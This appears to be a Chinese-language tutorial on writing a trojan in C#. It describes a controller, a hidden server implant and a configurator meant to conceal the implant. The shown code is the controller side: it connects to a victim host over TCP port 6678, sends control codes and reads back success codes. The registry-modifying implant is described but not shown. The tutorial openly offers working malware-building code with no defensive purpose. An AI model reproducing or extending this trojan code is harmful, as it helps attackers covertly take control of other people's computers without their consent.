一个完整的木马系统由硬件部分,软件部分和具体连接部分组成。这里主要对软件部分介绍,它主要有控制端程序、木马程序(后台服务程序)、木马配制程序组成。控制端用以远程控制服务端的程序;木马程序是潜入服务端内部,获取其操作权限的程序;木马配制程序是设置木马程序的端口号,触发条件,木马名称等,使其在服务端藏的更隐蔽的程序。
使用的技术:
控制端程序发送控制码控制服务器,服务器后台运行,修改注册表达到控制的目的。技术不是很难的,主要体现C#的网络编程和注册表的修改。
控制端开发:
控制端向服务器发出一段控制码,服务端(木马程序)收到控制码后,根据控制的要求,完成指定的要求,如果服务器完成工作,返回成功的信息。
控制端的开发:
控制码的设定你可以自已设定,不需要详解,主要有以下几个难点。
1、连接请求
使用了.NET类中的 System.Net.Sockets.TcpClient类, TcpClient(string hostname,int port) Hostname 是要控制的主机名称,当然你也可以用IP地址。 Port是端口。 // System.EventArgs包含事件数据类的基类 private void button7_Click(object sender, System.EventArgs e) { //记录操作,在richTextBox控件中增加操作信息 richTextBox1.AppendText("请求连接" +textBox1.Text +"\r"); int port =6678; try { //初始化 TcpClient 类的新实例并连接到指定主机上的指定端口 client = new TcpClient(textBox1.Text,port); } catch { MessageBox.Show("服务器不在线!确定是否输入主机名称."); richTextBox1.AppendText("服务器不在线!确定是否输入主机名称."); } }//private void buttion |
2、测试是否与被控制机连接上。
程序的流程是发送控制码看控制端是否有反应,如果有返回则显示控制成功。 //提供网络访问的数据流
//private NetworkStream stream; 代码如下: private void button8_Click(object sender, System.EventArgs e) { //纪录操作 richTextBox1.AppendText("测试连接" +"\r"); try { stream = client.GetStream(); if(stream.CanWrite) { //发送控制码 string control = "jiance"; byte[] by =System.Text.Encoding.ASCII.GetBytes(control.ToCharArray()); stream.Write(by,0,by.Length); //下次使用 stream.Flush(); //启动接收反回数据的线程 //receive是线程执行的函数,见后面的分析 threadReceive = new Thread(new ThreadStart(receive)); threadReceive.Start(); } } catch(Exception ee) { richTextBox1.AppendText (ee.Message+"\r"); MessageBox.Show(ee.Message); } } |
3、控制生效的代码
private void button9_Click(object sender, System.EventArgs e) { //这里是确定要发送的控制码,RadioButton是窗体控件 if(radioButton1.Checked){ control = form2.zhucex;} else if(radioButton2.Checked){ control =form3.zhuces;} else if(radioButton3.Checked){ control = warring;} else if(radioButton4.Checked){ control =suggest;} else if(radioButton5.Checked){ control =form4.mumawe;} else if(radioButton6.Checked){ control =drop;} if (control =="000000") { MessageBox.Show("你没有输入任何控制目标!不发控制信号"); richTextBox1.AppendText("你没有输入任何控制目标!不发控制信号"); } else if(control != "000000") { try { //记录操作 richTextBox1.AppendText (control + "正在试图控制,等待回应......" + "\r"); stream = client.GetStream(); if(stream.CanWrite ) { byte[] by = System.Text.Encoding.ASCII.GetBytes(control.ToCharArray ()); stream.Write(by,0,by.Length); stream.Flush(); threadReceive =new Thread(new ThreadStart(receive)); threadReceive.Start(); }//endif }//try catch { richTextBox1.AppendText("服务器未连接1控制无效!" +"\r"); MessageBox.Show("服务器未连接1控制无效!" +"\r"); } }//else if } |
4、线程执行的函数
private void receive() { //设置读取数据的空间 byte[] bb = new byte[3]; //读取3个字节,i为实际读取的字节数 int i = stream.Read(bb,0,3); //转换成字符串,如果是中文控制码则用string ss = //System.Text.Encoding.Unicode.GetString(bb); string ss = System.Text.Encoding.ASCII.GetString(bb); //hjc为我设置的服务器的返回码 hjc为连接成功,hkz为控制成功 if(ss=="hjc") { MessageBox.Show("连接成功"); richTextBox1.AppendText("连接成功"); } if(ss== "hkz") { richTextBox1.AppendText(control +"控制成功"+"\r"); MessageBox.Show(control +"控制成功"+"\r"); } } |